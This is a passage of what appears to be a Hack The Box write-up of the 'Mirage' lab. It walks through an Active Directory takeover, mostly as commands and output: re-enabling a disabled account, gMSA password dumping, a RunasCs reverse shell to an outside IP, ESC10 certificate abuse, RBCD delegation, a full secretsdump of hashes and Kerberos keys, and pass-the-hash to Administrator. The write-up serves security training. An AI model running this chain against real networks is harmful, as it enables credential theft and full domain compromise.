ObjectCategory : CN=Person,CN=Schema,CN=Configuration,DC=mirage,DC=htb
ObjectClass : user
ObjectGUID : c52e731b-30c1-439c-a6b9-0c2f804e5f08
objectSid : S-1-5-21-2127163471-3824721834-2568365109-1108
Office :
OfficePhone :
Organization :
OtherName :
PasswordExpired : False
PasswordLastSet : 7/20/2025 5:53:21 PM
PasswordNeverExpires : False
PasswordNotRequired : False
POBox :
PostalCode :
PrimaryGroup : CN=Domain Users,CN=Users,DC=mirage,DC=htb
primaryGroupID : 513
PrincipalsAllowedToDelegateToAccount : {}
ProfilePath :
ProtectedFromAccidentalDeletion : False
pwdLastSet : 133975328015033644
SamAccountName : javier.mmarshall
sAMAccountType : 805306368
ScriptPath :
sDRightsEffective : 0
ServicePrincipalNames : {}
SID : S-1-5-21-2127163471-3824721834-2568365109-1108
SIDHistory : {}
SmartcardLogonRequired : False
State :
StreetAddress :
Surname :
Title :
TrustedForDelegation : False
TrustedToAuthForDelegation : False
UseDESKeyOnly : False
userAccountControl : 514
userCertificate : {}
UserPrincipalName : javier.mmarshall@mirage.htb
uSNChanged : 159953
uSNCreated : 24655
whenChanged : 7/20/2025 5:53:21 PM
whenCreated : 5/2/2025 1:33:11 AM
It seems like the logonHours are also set to 0: logonHours : {0, 0, 0, 0...}
BloodyAD writeable
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
bloodyAD --host dc01.mirage.htb -d mirage.htb -k get writable --detail
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=mirage,DC=htb
url: WRITE
wWWHomePage: WRITE
distinguishedName: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
logonHours: WRITE
userAccountControl: WRITE
distinguishedName: CN=mark.bbond,OU=Users,OU=Support,OU=IT_Staff,DC=mirage,DC=htb
thumbnailPhoto: WRITE
pager: WRITE
mobile: WRITE
homePhone: WRITE
userSMIMECertificate: WRITE
msDS-ExternalDirectoryObjectId: WRITE
msDS-cloudExtensionAttribute20: WRITE
msDS-cloudExtensionAttribute19: WRITE
msDS-cloudExtensionAttribute18: WRITE
msDS-cloudExtensionAttribute17: WRITE
msDS-cloudExtensionAttribute16: WRITE
msDS-cloudExtensionAttribute15: WRITE
msDS-cloudExtensionAttribute14: WRITE
msDS-cloudExtensionAttribute13: WRITE
msDS-cloudExtensionAttribute12: WRITE
msDS-cloudExtensionAttribute11: WRITE
msDS-cloudExtensionAttribute10: WRITE
msDS-cloudExtensionAttribute9: WRITE
msDS-cloudExtensionAttribute8: WRITE
msDS-cloudExtensionAttribute7: WRITE
msDS-cloudExtensionAttribute6: WRITE
msDS-cloudExtensionAttribute5: WRITE
msDS-cloudExtensionAttribute4: WRITE
msDS-cloudExtensionAttribute3: WRITE
msDS-cloudExtensionAttribute2: WRITE
msDS-cloudExtensionAttribute1: WRITE
msDS-GeoCoordinatesLongitude: WRITE
msDS-GeoCoordinatesLatitude: WRITE
msDS-GeoCoordinatesAltitude: WRITE
msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE
msPKI-CredentialRoamingTokens: WRITE
msDS-FailedInteractiveLogonCountAtLastSuccessfulLogon: WRITE
msDS-FailedInteractiveLogonCount: WRITE
msDS-LastFailedInteractiveLogonTime: WRITE
msDS-LastSuccessfulInteractiveLogonTime: WRITE
msDS-SupportedEncryptionTypes: WRITE
msPKIAccountCredentials: WRITE
msPKIDPAPIMasterKeys: WRITE
msPKIRoamingTimeStamp: WRITE
mSMQDigests: WRITE
mSMQSignCertificates: WRITE
userSharedFolderOther: WRITE
userSharedFolder: WRITE
url: WRITE
otherIpPhone: WRITE
ipPhone: WRITE
assistant: WRITE
primaryInternationalISDNNumber: WRITE
primaryTelexNumber: WRITE
otherMobile: WRITE
otherFacsimileTelephoneNumber: WRITE
userCert: WRITE
homePostalAddress: WRITE
personalTitle: WRITE
wWWHomePage: WRITE
otherHomePhone: WRITE
streetAddress: WRITE
otherPager: WRITE
info: WRITE
otherTelephone: WRITE
userCertificate: WRITE
preferredDeliveryMethod: WRITE
registeredAddress: WRITE
internationalISDNNumber: WRITE
x121Address: WRITE
facsimileTelephoneNumber: WRITE
teletexTerminalIdentifier: WRITE
telexNumber: WRITE
telephoneNumber: WRITE
physicalDeliveryOfficeName: WRITE
postOfficeBox: WRITE
postalCode: WRITE
postalAddress: WRITE
street: WRITE
st: WRITE
l: WRITE
c: WRITE
ldapmodify
We can write UAC and logonHours. Let’s enable the account and set it logonHours to 24x7.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ldapmodify -H ldap://dc01.mirage.htb -Y GSSAPI -f logonHours.ldif
SASL/GSSAPI authentication started
SASL username: mark.bbond@MIRAGE.HTB
SASL SSF: 256
SASL data security layer installed.
modifying entry "CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb"
┌──(kali㉿vm-kali)-[~/htb/mirage]
└─$ cat logonHours.ldif
dn: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
changetype: modify
replace: userAccountControl
userAccountControl: 512
-
replace: logonHours
logonHours:: ////////////////////////////
Set password
1
2
3
4
bloodyAD --host dc01.mirage.htb -d mirage.htb -k set password javier.mmarshall 'Password@123!'
[+] Password changed successfully!
Get-TGT
1
2
3
4
5
6
7
8
impacket-getTGT mirage.htb/javier.mmarshall
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
[*] Saving ticket in javier.mmarshall.ccache
export KRB5CCNAME=javier.mmarshall.ccache
Now following the bloodhound GMSA dumper path:
1
2
3
4
5
6
7
8
9
pip install -r requirements.txt
pip install gssapi
python3 gMSADumper.py -k -d mirage.htb
Users or groups who can read password for Mirage-Service$:
> javier.mmarshall
Mirage-Service$:::305806d84f7c1be93a07aaf40f0c7866
Mirage-Service$:aes256-cts-hmac-sha1-96:80bada65a4f84fb9006013e332105db15ac6f07cb9987705e462d9491c0482ae
Mirage-Service$:aes128-cts-hmac-sha1-96:ff1d75e3a88082f3dffbb2b8e3ff17dd
We can just retrieve TGT:
1
2
3
4
impacket-getTGT -aesKey 80bada65a4f84fb9006013e332105db15ac6f07cb9987705e462d9491c0482ae mirage.htb/Mirage-Service
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in Mirage-Service.ccache
RunasCs as mark.bbond
We ran Certipy (as mark.bbond) to confirm whether or not any ESC vulnerability exists. However, ESC10 requires additional enumeration.
https://github.com/ly4k/Certipy/wiki/06-‐-Privilege-Escalation#esc10-weak-certificate-mapping-for-schannel-authentication
Transfer RunasCs.exe to victim machine and get a reverse shell.
1
2
3
4
5
6
*Evil-WinRM* PS C:\Users\nathan.aadam\runas> ./Runas.exe 'mark.bbond' '1day@atime' powershell.exe -r 10.10.16.96:1234
[*] Warning: The logon for user 'mark.bbond' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-1283db$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 2612 created in background.
Attacker Machine:
1
2
3
4
5
6
7
8
9
10
11
12
PS C:\Windows\system32> Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL" -Name CertificateMappingMethods
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL" -Name CertificateMappingMethods
CertificateMappingMethods : 4
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Sec
urityProviders\SCHANNEL
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Sec
urityProviders
PSChildName : SCHANNEL
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
We can confirm since the value is 0x4 that the system might very well be vulnerable to ESC10 through SCHANNEL.
Certipy for ESC10
1
2
3
4
5
6
7
8
9
10
11
12
13
certipy account -k -no-pass -target dc01.mirage.htb -dc-ip 10.10.11.78 -user 'mark.bbond' read
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Reading attributes for 'mark.bbond':
cn : mark.bbond
distinguishedName : CN=mark.bbond,OU=Users,OU=Support,OU=IT_Staff,DC=mirage,DC=htb
name : mark.bbond
objectSid : S-1-5-21-2127163471-3824721834-2568365109-1109
sAMAccountName : mark.bbond
userPrincipalName : mark.bbond@mirage.htb
userAccountControl : 66048
whenCreated : 2025-05-02T08:36:23+00:00
whenChanged : 2025-07-21T14:01:13+00:00
Initial UPN: mark.bbond@mirage.htb
Let’s retrieve Mirage-Service hash to update UPN of mark.bbond:
1
2
3
4
5
impacket-getTGT -hashes :305806d84f7c1be93a07aaf40f0c7866 mirage.htb/Mirage-Service
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in Mirage-Service.ccache
Now update UPN:
1
2
3
4
5
6
certipy account -k -no-pass -target dc01.mirage.htb -dc-ip 10.10.11.78 -upn 'dc01$@mirage.htb' -user 'mark.bbond' update
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Updating user 'mark.bbond':
userPrincipalName : dc01$@mirage.htb
[*] Successfully updated 'mark.bbond'
We now request a certificate:
1
2
3
4
5
6
7
8
9
10
11
certipy req -k -dc-ip 10.10.11.78 -target 'dc01.mirage.htb' -ca 'mirage-DC01-CA' -template 'User'
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[!] DC host (-dc-host) not specified and Kerberos authentication is used. This might fail
[*] Requesting certificate via RPC
[*] Request ID is 13
[*] Successfully requested certificate
[*] Got certificate with UPN 'dc01$@mirage.htb'
[*] Certificate object SID is 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Saving certificate and private key to 'dc01.pfx'
[*] Wrote certificate and private key to 'dc01.pfx'
Restore mark original UPN:
1
2
3
4
5
6
certipy account -k -no-pass -target dc01.mirage.htb -dc-ip 10.10.11.78 -upn 'mark.bbond@mirage.htb' -user 'mark.bbond' update
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Updating user 'mark.bbond':
userPrincipalName : mark.bbond@mirage.htb
[*] Successfully updated 'mark.bbond'
We now get an LDAP Shell as dc01:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
certipy auth -pfx dc01.pfx -dc-ip '10.10.11.78' -ldap-shell
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'dc01$@mirage.htb'
[*] Security Extension SID: 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Connecting to 'ldaps://10.10.11.78:636'
[*] Authenticated to '10.10.11.78' as: 'u:MIRAGE\\DC01$'
Type help for list of commands
#
set_rbcd DC01$ Mirage-Service$
Found Target DN: CN=DC01,OU=Domain Controllers,DC=mirage,DC=htb
Target SID: S-1-5-21-2127163471-3824721834-2568365109-1000
Found Grantee DN: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
Grantee SID: S-1-5-21-2127163471-3824721834-2568365109-1112
Delegation rights modified successfully!
Mirage-Service$ can now impersonate users on DC01$ via S4U2Proxy
We could have used any other user as well.
Service Ticket
Request a service ticket as Mirage-Service now:
1
2
3
4
5
6
7
impacket-getST -spn 'CIFS/dc01.mirage.htb' -impersonate 'DC01$' -dc-ip 10.10.11.78 'mirage.htb/Mirage-Service$' -hashes :305806d84f7c1be93a07aaf40f0c7866
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Impersonating DC01$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in DC01$@CIFS_dc01.mirage.htb@MIRAGE.HTB.ccache
Now using the ticket we will secret dump:
Secretsdump
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
export KRB5CCNAME='DC01$@CIFS_dc01.mirage.htb@MIRAGE.HTB.ccache'
impacket-secretsdump -k -no-pass dc01.mirage.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
mirage.htb\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7be6d4f3c2b9c0e3560f5a29eeb1afb3:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1adcc3d4a7f007ca8ab8a3a671a66127:::
mirage.htb\Dev_Account_A:1104:aad3b435b51404eeaad3b435b51404ee:3db621dd880ebe4d22351480176dba13:::
mirage.htb\Dev_Account_B:1105:aad3b435b51404eeaad3b435b51404ee:fd1a971892bfd046fc5dd9fb8a5db0b3:::
mirage.htb\david.jjackson:1107:aad3b435b51404eeaad3b435b51404ee:ce781520ff23cdfe2a6f7d274c6447f8:::
mirage.htb\javier.mmarshall:1108:aad3b435b51404eeaad3b435b51404ee:694fba7016ea1abd4f36d188b3983d84:::
mirage.htb\mark.bbond:1109:aad3b435b51404eeaad3b435b51404ee:8fe1f7f9e9148b3bdeb368f9ff7645eb:::
mirage.htb\nathan.aadam:1110:aad3b435b51404eeaad3b435b51404ee:1cdd3c6d19586fd3a8120b89571a04eb:::
mirage.htb\svc_mirage:2604:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:b5b26ce83b5ad77439042fbf9246c86c:::
Mirage-Service$:1112:aad3b435b51404eeaad3b435b51404ee:305806d84f7c1be93a07aaf40f0c7866:::
[*] Kerberos keys grabbed
mirage.htb\Administrator:aes256-cts-hmac-sha1-96:09454bbc6da252ac958d0eaa211293070bce0a567c0e08da5406ad0bce4bdca7
mirage.htb\Administrator:aes128-cts-hmac-sha1-96:47aa953930634377bad3a00da2e36c07
mirage.htb\Administrator:des-cbc-md5:e02a73baa10b8619
krbtgt:aes256-cts-hmac-sha1-96:95f7af8ea1bae174de9666c99a9b9edeac0ca15e70c7246cab3f83047c059603
krbtgt:aes128-cts-hmac-sha1-96:6f790222a7ee5ba9d2776f6ee71d1bfb
krbtgt:des-cbc-md5:8cd65e54d343ba25
mirage.htb\Dev_Account_A:aes256-cts-hmac-sha1-96:e4a6658ff9ee0d2a097864d6e89218287691bf905680e0078a8e41498f33fd9a
mirage.htb\Dev_Account_A:aes128-cts-hmac-sha1-96:ceee67c4feca95b946e78d89cb8b4c15
mirage.htb\Dev_Account_A:des-cbc-md5:26dce5389b921a52
mirage.htb\Dev_Account_B:aes256-cts-hmac-sha1-96:5c320d4bef414f6a202523adfe2ef75526ff4fc6f943aaa0833a50d102f7a95d
mirage.htb\Dev_Account_B:aes128-cts-hmac-sha1-96:e05bdceb6b470755cd01fab2f526b6c0
mirage.htb\Dev_Account_B:des-cbc-md5:e5d07f57e926ecda
mirage.htb\david.jjackson:aes256-cts-hmac-sha1-96:3480514043b05841ecf08dfbf33d81d361e51a6d03ff0c3f6d51bfec7f09dbdb
mirage.htb\david.jjackson:aes128-cts-hmac-sha1-96:bd841caf9cd85366d254cd855e61cd5e
mirage.htb\david.jjackson:des-cbc-md5:76ef68d529459bbc
mirage.htb\javier.mmarshall:aes256-cts-hmac-sha1-96:20acfd56be43c1123b3428afa66bb504a9b32d87c3269277e6c917bf0e425502
mirage.htb\javier.mmarshall:aes128-cts-hmac-sha1-96:9d2fc7611e15be6fe16538ebb3b2ad6a
mirage.htb\javier.mmarshall:des-cbc-md5:6b3d51897fdc3237
mirage.htb\mark.bbond:aes256-cts-hmac-sha1-96:dc423caaf884bb869368859c59779a757ff38a88bdf4197a4a284b599531cd27
mirage.htb\mark.bbond:aes128-cts-hmac-sha1-96:78fcb9736fbafe245c7b52e72339165d
mirage.htb\mark.bbond:des-cbc-md5:d929fb462ae361a7
mirage.htb\nathan.aadam:aes256-cts-hmac-sha1-96:b536033ac796c7047bcfd47c94e315aea1576a97ff371e2be2e0250cce64375b
mirage.htb\nathan.aadam:aes128-cts-hmac-sha1-96:b1097eb42fd74827c6d8102a657e28ff
mirage.htb\nathan.aadam:des-cbc-md5:5137a74f40f483c7
mirage.htb\svc_mirage:aes256-cts-hmac-sha1-96:937efa5352253096b3b2e1d31a9f378f422d9e357a5d4b3af0d260ba1320ba5e
mirage.htb\svc_mirage:aes128-cts-hmac-sha1-96:8d382d597b707379a254c60b85574ab1
mirage.htb\svc_mirage:des-cbc-md5:2f13c12f9d5d6708
DC01$:aes256-cts-hmac-sha1-96:4a85665cd877c7b5179c508e5bc4bad63eafe514f7cedb0543930431ef1e422b
DC01$:aes128-cts-hmac-sha1-96:94aa2a6d9e156b7e8c03a9aad4af2cc1
DC01$:des-cbc-md5:cb19ce2c733b3ba8
Mirage-Service$:aes256-cts-hmac-sha1-96:80bada65a4f84fb9006013e332105db15ac6f07cb9987705e462d9491c0482ae
Mirage-Service$:aes128-cts-hmac-sha1-96:ff1d75e3a88082f3dffbb2b8e3ff17dd
Mirage-Service$:des-cbc-md5:c42ffd455b91f208
[*] Cleaning up...
Administrator
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
impacket-getTGT -hashes :7be6d4f3c2b9c0e3560f5a29eeb1afb3 mirage.htb/Administrator
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in Administrator.ccache
┌──(kali㉿vm-kali)-[~/htb/mirage]
└─$ export KRB5CCNAME=Administrator.ccache
┌──(kali㉿vm-kali)-[~/htb/mirage]
└─$ evil-winrm -i dc01.mirage.htb -r mirage.htb
zsh: /usr/local/bin/evil-winrm: bad interpreter: /usr/bin/ruby3.1: no such file or directory
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
This post is licensed under CC BY 4.0 by the author.